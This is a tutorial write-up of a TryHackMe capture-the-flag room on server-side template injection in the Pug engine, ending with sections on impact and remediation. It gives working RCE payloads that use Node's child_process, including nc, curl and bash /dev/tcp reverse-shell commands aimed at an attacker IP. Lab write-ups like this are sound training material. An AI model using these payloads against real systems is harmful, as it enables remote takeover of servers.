Table of Contents

Join Our Membership To Start Your Cybersecurity Journey Today!

SSTI in PUG

ssti

In this article, we will be going through how rendering engines can be vulnerable and give access to the system. There are many rendering engines out there and PUG is one of them. This rendering engine is vulnerable to SSTI (Server Side Template Injection). SSTI in Pug versions <3.0.1 allows the attacker to gain remote access through RCE (Remote Command Execution).

Pug

Pug is a whitespace-sensitive server-side template language for writing HTML. The web pages can be processed locally internally on the web server before they are handed over to the browser. It is commonly used with express/nodeJS as a template engine.

SSTI

It is also known as the Server Side Template Injection. This vulnerability arises when an attacker is able to use native template syntax to inject a malicious payload into template. That payload is then executed on the server side.

SSTI in Template Engines

Template engines generate web pages by combining fixed templates with volatile data. SSTI attacks can occur when user input concatenates directly into a template, rather than passing it in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine. Eventually enabling them to take complete control of the server. As the name suggests, SSTI payloads are delivered and evaluated on the server side, potentially making them much more dangerous than a typical client-side template injection.

Finding SSTI in Pug

For the demonstration of vulnerability exploitation, we will go through the awesome room Templates on TryHackMe.

Before starting, make sure you are connected to the VPN provided by THM and have the machine started.

For my instance, the IP of the target machine is 10.10.240.107 and the vulnerable website is running at port 5000.

Exploring Website

Go to http://10.10.240.107:5000 and you will see a simple Pug to HTML converter as below

Clicking the Convert to HTML button with the default content in the editor gives the HTML code of that Pug Template as below

<!DOCTYPE html><head><title>Pug</title><script>console.log("Pugs are cute")</script></head><h1>Pug - node template engine</h1><div class="col" id="container"><p>You are amazing</p><p>Pug is a terse and simple templating language.</p></div>

It is clear that the application is taking the pug template and converting it into HTML.

Testing for SSTI

Since it is a template engine, we can try putting Server Side Template Injection payloads and see their execution. For the beginning, we can start with a simple test payload #{7*7}. Put the payload in the code editor, remove the default content after title and submit it

The output of this request is what we are expecting

<!DOCTYPE html><head><title>49</title></head>

Leveraging SSTI to RCE

Having the confirmation of SSTI, we can look for advanced payloads to gain RCE (Remote Command Execution). One of the awesome resources is Hack Tricks which has a collection of multiple procedures and payloads for a vulnerability.

It has many SSTI payloads for Pug as well. Testing for simple command execution, we can use the following payload

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('whoami')}()}

Executing this payload gives the output as below

<!DOCTYPE html><head><title></title></head>

Trying multiple Linux commands gives the same output.

Reverse Shell

Since simple commands are not working, we can directly try for getting the reverse shell. For that, modify the payload to give us a reverse connection from the target machine as below


#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('nc 10.8.8.52 1337')}()}

Here we are using nc to connect to the attacker machine with IP 10.8.8.52 on port 1337. But before executing the payload, we need to start the nc listener on the attacker machine using the following command

nc -nlvp 1337

Executing the payload does not give any connection from the target machine but rather same output.

Using CURL

Since the listener is running, we can test whether the target machine is able to reach the attacker machine or not by using the following curl command


#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.8.8.52:1337')}()}

This payload again gives the same output but we see the request in our nc listener as follows

Generating reverse shell & executing

As the target is able to reach the attacker machine and nc is not giving the reverse shell, we can generate the reverse shell from browser based shell generator.

We just need to provide the attacker machine IP and the listening port and it will give us the reverse shell oneliners in multiple languages.

We will use the simple sh shell and see if it works

sh -i >& /dev/tcp/10.8.8.52/1337 0>&1

Eventually, the command would become as follows

#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('sh -i >& /dev/tcp/10.8.8.52/1337 0>&1')}()}

Executing this payload gives same old output and no reverse shell. Since it is a linux machine, we can try passing the revshell oneliner as bash command using c flag as below

bash -c "sh -i >& /dev/tcp/10.8.8.52/1337 0>&1"

The full command will become as


#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('bash -c "sh -i >& /dev/tcp/10.8.8.52/1337 0>&1"')}()}

Finally, this gives us the reverse shell on our listener as below

At last, we find the flag file and submit it to complete the room as well.

Other Template Engines

While there are many more template engines, thus giving attackers a huge playground to find SSTIs. Some of the other famous template engines are as follows

  • Twig
  • Jinja
  • Mako
  • Smarty

Impact of SSTI

Server-side template injection vulnerabilities can expose websites to a variety of attacks depending on the template engine in question and how exactly the application uses it. In certain rare circumstances, these vulnerabilities pose no real security risk. However, most of the time, the impact of server-side template injection can be catastrophic.

At the severe end of the scale, an attacker can potentially achieve remote code execution, taking full control of the back-end server and using it to perform other attacks on internal infrastructure.

Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server.

Remediations

  • Don’t allow any users to modify or submit new templates
  • Always use a “logic-less” template engine, such as Mustache, unless absolutely necessary
  • If necessary, only execute users’ code in a sandbox environment, but the sandbox environments are also bypassable

Scroll to Top